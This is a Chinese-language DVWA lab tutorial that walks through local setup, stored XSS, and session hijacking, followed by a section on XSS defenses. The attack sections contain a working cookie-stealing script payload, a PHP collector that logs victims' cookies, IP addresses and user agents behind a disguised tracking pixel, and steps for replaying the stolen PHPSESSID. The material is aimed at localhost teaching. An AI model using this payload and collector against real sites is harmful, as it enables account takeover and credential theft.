DVWA靶场实战:从XSS漏洞到Cookie窃取与会话劫持
1. 项目概述:从“弹窗玩具”到实战攻防的思维转变
很多刚接触Web安全的朋友,可能都和我当初一样,对XSS(跨站脚本攻击)的理解停留在“弹个alert框”的层面。确实,在DVWA(Damn Vulnerable Web Application)这样的靶场里,弹出一个“XSS”的提示框,看着很有成就感,但这离真正的实战还差得很远。弹窗只是验证漏洞存在,而真正的攻击者,他们的目标是窃取数据、劫持会话、甚至控制你的账户。今天,我就想和大家分享一次完整的实战演练:如何利用DVWA靶场中的XSS漏洞,实实在在地盗取用户的Cookie,并利用它成功登录目标账户。整个过程,我会从最基础的环境搭建讲起,手把手带你走一遍攻击者的思路和操作,让你明白一个看似简单的弹窗背后,隐藏着多大的威力,以及我们作为开发者又该如何防御。
为了确保每个人都能复现,我会先用PHPStudy在本地搭建一个完整的DVWA测试环境。这不仅仅是“搭个环境”,我会详细说明其中几个容易踩坑的配置点,比如PHP版本兼容性、数据库初始化、安全等级设置等,这些都是后续实验能否成功的关键。准备好了吗?让我们告别“玩具级”的弹窗,进入真正的攻防世界。
2. 环境搭建:用PHPStudy快速构建DVWA靶场
工欲善其事,必先利其器。一个稳定、可控的本地测试环境是我们所有实验的基础。我选择PHPStudy是因为它对Windows用户极其友好,集成了Apache/Nginx、PHP、MySQL,省去了繁琐的配置过程。
2.1 PHPStudy的安装与基础配置
首先,去PHPStudy的官网下载最新版本。安装过程基本就是一路“下一步”,但有一个关键点需要注意:安装路径不要包含中文或特殊字符,比如“D:\学习\phpstudy”这样的路径就很可能导致后续服务启动异常。我个人的习惯是直接装在“D:\phpstudy_pro”这样的纯英文目录下。
安装完成后,启动PHPStudy,你会看到它的主界面。我们需要先启动“WNMP”环境,即同时启动Web服务(Nginx或Apache)和MySQL数据库。点击对应的“启动”按钮即可。这里有个常见问题:如果MySQL启动失败,提示端口3306被占用。这通常是因为你电脑上已经运行了其他的MySQL服务(比如你之前安装过独立的MySQL)。解决方法有两个:一是关闭那个独立的MySQL服务;二是在PHPStudy的“MySQL管理”->“设置”里,修改MySQL的端口号,比如改成3307,并记住这个端口,后续连接数据库时会用到。
启动成功后,在浏览器输入http://localhost或http://127.0.0.1,如果能看到PHPStudy的欢迎页面,说明Web服务运行正常。
2.2 DVWA的部署与初始化
接下来部署我们的“主角”——DVWA。从GitHub的DVWA官方仓库下载最新的ZIP压缩包。将解压后的整个dvwa文件夹,复制到PHPStudy的网站根目录下。这个根目录的路径通常在PHPStudy的“网站”->“管理”->“根目录”中查看,默认是类似D:\phpstudy_pro\WWW这样的位置。
复制完成后,在浏览器访问http://localhost/dvwa。首次访问时,你会看到一个红色的提示页面,告诉你config/config.inc.php文件配置不正确。别担心,这是正常步骤。我们需要进行配置:
- 重命名配置文件:进入
dvwa/config目录,找到config.inc.php.dist文件,将其复制一份,并重命名为config.inc.php。 - 编辑数据库配置:用记事本或任何代码编辑器打开这个新的
config.inc.php文件。找到数据库连接部分,通常如下:
你需要根据自己PHPStudy的MySQL设置来修改。$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'p@ssw0rd'; $_DVWA[ 'db_port' ] = '3306';db_server一般是127.0.0.1;db_user默认为root;db_password默认为root(注意,PHPStudy默认密码是root,不是文件里写的p@ssw0rd);db_port如果你没改过就是3306,如果改了就用你修改后的端口。 - 创建数据库:刷新浏览器页面,或者重新访问
http://localhost/dvwa。这次页面会提示你“创建/重置数据库”。点击这个按钮。系统会自动在MySQL中创建名为dvwa的数据库,并导入所需的数据表。
注意:如果点击按钮后报错,比如提示“数据库连接失败”,请回头仔细检查
config.inc.php中的密码和端口是否正确。也可以打开PHPStudy自带的“MySQL管理器”或使用Navicat等工具,尝试用你配置的用户名和密码手动连接一下MySQL,验证凭据是否有效。
2.3 DVWA安全等级设置与登录
数据库初始化成功后,页面会跳转到登录界面。DVWA的默认账号密码是admin/password。登录进去后,第一件事是设置安全等级。在左侧菜单找到“DVWA Security”,将安全等级从默认的“Impossible”调到“Low”。这是非常重要的步骤,因为“Impossible”等级下,DVWA启用了最强的防护机制,我们用来演示的基础漏洞几乎都无法利用。设置为“Low”后,应用会变得非常脆弱,方便我们学习和演示攻击原理。
至此,你的本地DVWA靶场就完全准备好了。环境搭建看似简单,但其中关于路径、端口、密码、安全等级的每一个细节,都直接影响后续实验的成败。很多朋友卡在第一步,问题往往就出在这些细微之处。
3. XSS漏洞原理与DVWA实战场景拆解
在动手之前,我们必须搞清楚我们要利用的是什么,以及它为什么能工作。XSS全称是跨站脚本攻击,核心在于“跨站”和“脚本”。攻击者将恶意脚本代码(通常是JavaScript)注入到可信的网站上,当其他用户浏览这个被“污染”的页面时,浏览器会执行这些恶意脚本,因为浏览器认为它们来自可信的源。
在DVWA的“Low”安全等级下,它为我们提供了几种典型的XSS漏洞场景,我们主要关注反射型XSS(Reflected XSS)和存储型XSS(Stored XSS)。为了盗取Cookie,存储型XSS通常是更理想的选择,因为它的“毒性”是持久化的。
3.1 反射型XSS vs 存储型XSS:攻击路径的差异
- 反射型XSS:恶意脚本作为用户请求的一部分被发送到服务器,服务器在响应中直接“反射”回这些脚本,并在用户的浏览器中执行。典型的例子是一个搜索框,你输入搜索关键词,页面显示“您搜索的是:XXX”。如果服务器不对“XXX”进行过滤,攻击者就可以构造一个包含脚本的搜索链接,诱骗用户点击。它的特点是“一次性”的,攻击载荷在URL里,只有点击了特定链接的用户才会中招。
- 存储型XSS:攻击者将恶意脚本提交到服务器(比如通过留言板、评论框、用户资料等输入点),脚本被永久地存储在服务器数据库或文件里。之后,任何访问到包含该恶意脚本页面的普通用户,其浏览器都会自动执行这段脚本。它的特点是“持久性”的,危害范围更广,更像是在网站里埋下了一颗地雷。
我们的目标——盗取Cookie,利用存储型XSS来实现会更稳定、更隐蔽。我们可以在网站的某个存储功能(如DVWA的“XSS Stored”模块)里植入一个“小偷脚本”,这个脚本会在每个访问者的浏览器里悄悄运行,把他们的Cookie信息发送到我们控制的服务器上。
3.2 Cookie:会话管理的钥匙
为什么盗取Cookie就能登录?这涉及到Web的会话管理机制。因为HTTP协议是无状态的,服务器需要一种方法来识别连续请求是否来自同一个用户。最常见的方法就是使用Session(会话)。服务器在用户登录成功后,创建一个唯一的Session ID,并将这个ID通过Set-Cookie头发送给用户的浏览器。浏览器之后对该站点的每一个请求,都会自动在Cookie头里带上这个Session ID。服务器收到后,通过Session ID找到对应的会话数据,从而识别用户身份。
所以,Cookie(特别是会话Cookie)就是用户身份的“临时身份证”。如果攻击者拿到了这个Cookie,他就可以在自己的浏览器里手动设置这个Cookie,然后访问网站。服务器会认为这是合法用户的请求,从而让攻击者以该用户的身份登录并执行操作。这个过程就是“会话劫持”。
理解了这些,我们的攻击思路就清晰了:在DVWA中找到一处存储型XSS漏洞点,注入一段能读取当前用户document.cookie的JavaScript代码,并让这段代码把读取到的Cookie发送到我们搭建的一个“接收服务器”上。
4. 构建攻击链:从XSS注入到Cookie接收
现在进入实战环节。我们的攻击分为三个部分:攻击载荷(Payload)制作、接收服务器搭建、漏洞利用与数据捕获。
4.1 制作窃取Cookie的XSS Payload
Payload的核心是一段JavaScript代码,它需要完成两件事:1. 获取当前页面的Cookie;2. 将Cookie发送给攻击者。
最直接的方式是使用Image对象或者fetchAPI发起一个HTTP请求,将Cookie作为参数附加在请求的URL中,发送到我们控制的服务器。
一个经典的Payload如下:
<script>new Image().src='http://你的接收服务器地址/catch.php?cookie='+encodeURIComponent(document.cookie);</script>这段代码创建了一个隐藏的图片元素,并将其src属性指向我们的接收脚本catch.php,同时把document.cookie经过URL编码后作为参数cookie传递过去。浏览器尝试加载这个“图片”时,就会发起一个GET请求,我们的服务器就能在访问日志或脚本中收到这个Cookie。
实操心得:为什么用
Image对象?因为它简单、兼容性好,且大多数浏览器的同源策略(CORS)对图片资源的请求限制较少。使用encodeURIComponent是为了确保Cookie值中的特殊字符(如分号、等号)不会破坏URL结构。你也可以使用<img src=...>标签,但<script>标签结合Image对象的方式在XSS利用中更为灵活和常见。
4.2 搭建简易的Cookie接收服务器
我们需要一个能记录HTTP请求参数的服务器。用PHP可以快速实现。在你的PHPStudy的WWW目录下,新建一个文件夹,比如叫stealer,在里面创建一个catch.php文件。
catch.php的内容可以非常简单:
<?php // catch.php $cookie = $_GET['cookie'] ?? 'No cookie received'; $ip = $_SERVER['REMOTE_ADDR']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $time = date('Y-m-d H:i:s'); $log_entry = "Time: $time | IP: $ip | UA: $user_agent | Cookie: $cookie" . PHP_EOL; // 将信息写入文件 file_put_contents('stolen_cookies.log', $log_entry, FILE_APPEND); // 可选:返回一个1x1像素的透明GIF图片,让请求更隐蔽 header('Content-Type: image/gif'); echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7'); ?>这个脚本做了几件事:
- 从URL的
cookie参数中获取值。 - 获取攻击受害者的IP地址和浏览器信息。
- 将所有信息连同时间戳,拼接成一条日志。
- 将日志追加写入到同目录下的
stolen_cookies.log文件中。 - 最后,输出一个1x1像素的透明GIF图片。这一步很重要,它让浏览器发起的这个“图片请求”看起来是成功的,避免了因加载失败而引起用户或安全软件的注意。
确保你的PHPStudy服务正在运行,然后你可以通过http://localhost/stealer/catch.php来测试这个脚本是否可访问。你可以手动在浏览器输入http://localhost/stealer/catch.php?cookie=test,然后检查stolen_cookies.log文件里是否出现了记录。
4.3 在DVWA中实施存储型XSS攻击
登录DVWA,将安全等级设置为“Low”,然后进入“XSS Stored”页面。这里模拟了一个留言板功能。
- 在“Name”字段,可以随便输入,比如“Hacker”。
- 在“Message”字段,输入我们精心构造的Payload。这里需要将Payload中的“你的接收服务器地址”替换成你本地环境的地址。由于攻击者和受害者(我们自己模拟)都在本地,所以地址就是
http://localhost/stealer/catch.php。完整的注入内容如下:<script>new Image().src='http://localhost/stealer/catch.php?cookie='+encodeURIComponent(document.cookie);</script> - 点击“Sign Guestbook”提交。
提交后,你的留言会立刻显示在页面上。关键点来了:此时,因为安全等级是“Low”,DVWA没有对输入做任何过滤和转义,我们提交的<script>标签被原样存储到了数据库,并且当页面渲染时,它被当作HTML代码执行了。
作为“攻击者”,你提交后,你的浏览器已经执行了这段脚本,你的Cookie已经被发送到了catch.php。你可以立即去查看stealer/stolen_cookies.log文件,应该能看到一条记录,里面的Cookie字段就是一长串字符,其中包含了一个关键的PHPSESSID=xxx。
5. 利用盗取的Cookie完成会话劫持
拿到了Cookie,下一步就是“冒用身份”。我们打开一个新的浏览器窗口(或者更好的方式是使用浏览器的“无痕模式”或另一个浏览器,以模拟另一个用户的会话),访问DVWA的登录页面http://localhost/dvwa/login.php。
注意:不要在这里登录!我们的目的是用偷来的Cookie直接进入。
- 打开浏览器的开发者工具(F12)。
- 切换到“Application”(应用)或“Storage”(存储)选项卡(不同浏览器名称略有不同)。
- 找到“Cookies”选项,并选择当前站点(
localhost)。 - 你会看到当前存在一个
PHPSESSID的Cookie(可能是空的或新的)。我们需要修改它。 - 根据你从日志文件中盗取的Cookie,找到
PHPSESSID对应的值(就是=号后面那一长串字符)。 - 在开发者工具中,修改或添加一个Cookie,名称为
PHPSESSID,值为你盗取来的那个值。将路径(Path)设置为/,确保对整站有效。 - 修改或添加完成后,直接刷新页面,或者访问DVWA的主页
http://localhost/dvwa/。
如果一切顺利,你会发现页面没有跳转到登录页,而是直接显示了DVWA的主界面,并且左上角显示你以“admin”身份登录!这意味着你成功地利用他人的会话Cookie,绕过了登录验证,实现了会话劫持。此刻,你拥有该账户的所有权限,可以查看敏感信息、进行各种操作(在DVWA的上下文中)。
注意事项:在实际的攻防中,Cookie可能有
HttpOnly、Secure等属性保护。HttpOnly属性可以阻止JavaScript通过document.cookie读取,这正是防御这种盗取Cookie攻击的最有效手段之一。DVWA在“Low”等级下默认没有设置这些属性,所以我们的攻击才能成功。这恰恰说明了安全配置的重要性。
6. 深度防御:从攻击者视角看XSS防护
经历了完整的攻击过程,我们更能从防御者的角度思考如何堵住这些漏洞。防御XSS是一个多层次的工作。
6.1 输入处理:消毒与验证
这是第一道,也是最重要的防线。所有用户输入在存入数据库或输出到页面之前,都必须经过处理。
- 消毒(Sanitization):对输入中的特殊字符进行转义。对于输出到HTML上下文的数据,使用
htmlspecialchars()函数(PHP)或类似函数,将<,>,&,",'等字符转换为HTML实体(如<变为<)。这样,即使用户输入了<script>标签,它也会被当作普通文本显示,而不会被执行。 - 验证(Validation):对输入格式进行严格检查。例如,姓名字段是否只包含字母和空格?邮箱字段是否符合邮箱格式?使用白名单机制,只接受符合预期格式的输入,拒绝其他一切。
在DVWA中,随着安全等级从“Low”提升到“Medium”、“High”,你可以看到它逐步增加了过滤函数(如strip_tags,htmlspecialchars)和正则表达式匹配,这就是在模拟输入处理的过程。
6.2 输出编码:上下文是关键
输出编码的原则是:数据在哪个上下文中输出,就使用哪种编码方式。
- HTML正文:使用HTML实体编码,如
htmlspecialchars($output, ENT_QUOTES, 'UTF-8')。 - HTML属性:同样使用HTML实体编码,并且属性值一定要用引号括起来。
- JavaScript代码:使用JavaScript编码,例如使用
json_encode()来将PHP变量安全地嵌入JS。 - URL参数:使用URL编码,
urlencode()。
6.3 利用安全机制:HttpOnly与Content Security Policy
- HttpOnly Cookie:在设置会话Cookie时,添加
HttpOnly标志。这能告诉浏览器,此Cookie只能通过HTTP请求发送,而不能通过客户端的JavaScript(如document.cookie)访问。这直接斩断了我们这种XSS盗取Cookie的攻击路径。在PHP中,可以在session_set_cookie_params中设置,或直接配置php.ini中的session.cookie_httponly。 - Content Security Policy (CSP):这是一个强大的深度防御策略。通过HTTP响应头
Content-Security-Policy,你可以告诉浏览器只允许加载和执行来自哪些可信源的脚本、样式、图片等。例如,设置script-src 'self',就意味着浏览器只会执行与该页面同源的脚本,任何内联脚本(像我们注入的<script>...</script>)或来自其他域的脚本都会被阻止执行。这能从根源上遏制XSS攻击。
6.4 框架与库的安全实践
现代前端框架如React、Vue、Angular等,在默认情况下都提供了良好的XSS防护,因为它们使用数据绑定的方式更新DOM,而不是直接拼接HTML。但开发者仍需警惕使用v-html(Vue)或dangerouslySetInnerHTML(React)这类可能绕过安全机制的特性。
7. 常见问题与排查技巧实录
在复现这个实验的过程中,你可能会遇到一些问题。这里我总结几个常见的坑和解决方法。
问题1:DVWA页面显示“PHP function allow_url_include is enabled.”等红色警告。
- 原因与解决:这是DVWA的安全检查,提示一些不安全的PHP配置被启用。对于本地测试环境,可以忽略。如果你想去掉,可以按照页面提示的路径找到
php.ini文件(在PHPStudy的“软件管理”里可以快速打开对应版本的php.ini),修改allow_url_include和allow_url_fopen为Off,然后重启Web服务。但注意,这可能会影响其他一些功能,实验阶段保持开启也无妨。
问题2:提交XSS Payload后,页面没有反应,日志文件也没有记录。
- 排查步骤:
- 检查Payload语法:确保
<script>标签闭合,JavaScript语句正确,单引号双引号匹配。可以在浏览器控制台(F12 -> Console)直接运行Payload中的JS代码,看是否有报错。 - 检查接收服务器地址:确保
http://localhost/stealer/catch.php这个URL在你的浏览器中能直接访问并返回一个透明图片。如果访问不了,检查stealer文件夹是否在WWW目录下,以及PHPStudy服务是否运行。 - 查看浏览器网络请求:在开发者工具的“Network”(网络)选项卡中,刷新DVWA的XSS Stored页面。查看请求列表里,是否有一条对
catch.php的请求?如果有,查看它的状态码和响应。如果状态码不是200(比如404或500),说明请求没成功到达你的脚本。 - 检查文件权限:确保Web服务器进程(通常是你Windows的用户账户或
SYSTEM)有权限在stealer目录下创建和写入stolen_cookies.log文件。可以尝试手动赋予该目录“Everyone”完全控制权进行测试。
- 检查Payload语法:确保
问题3:修改Cookie后,刷新页面还是跳转到登录页。
- 排查步骤:
- 确认Cookie值:确保你从日志中复制的
PHPSESSID值完全正确,没有多余的空格或换行。 - 确认Cookie作用域:在开发者工具中设置Cookie时,确保“Domain”是
localhost,“Path”是/。 - 清除原有会话:你可能需要关闭所有浏览器标签页,甚至重启浏览器,以确保旧的、无效的会话不会干扰。使用无痕窗口是最干净的方式。
- DVWA安全等级:再次确认DVWA的安全等级是“Low”。在其他等级下,可能会有额外的会话验证机制。
- 确认Cookie值:确保你从日志中复制的
问题4:PHPStudy的MySQL无法启动。
- 通用排查:这是最常见的问题。首先看错误日志(PHPStudy界面有“错误日志”查看入口)。最常见的原因是端口占用。
- 解决方案:
- 打开命令提示符,输入
netstat -ano | findstr :3306,查看3306端口被哪个进程(PID)占用。 - 打开任务管理器,在“详细信息”选项卡里,根据PID找到对应的进程。如果是
mysqld.exe之类的,说明有另一个MySQL在运行。你可以选择停止那个服务(在“服务”里找到MySQL相关服务并停止),或者在PHPStudy里修改MySQL端口(比如3307),并同步修改DVWA的config.inc.php中的db_port。
- 打开命令提示符,输入
这个过程就像侦探破案,需要耐心地根据现象,一步步追踪线索。每一次排错,都是对Web运行机制更深的理解。
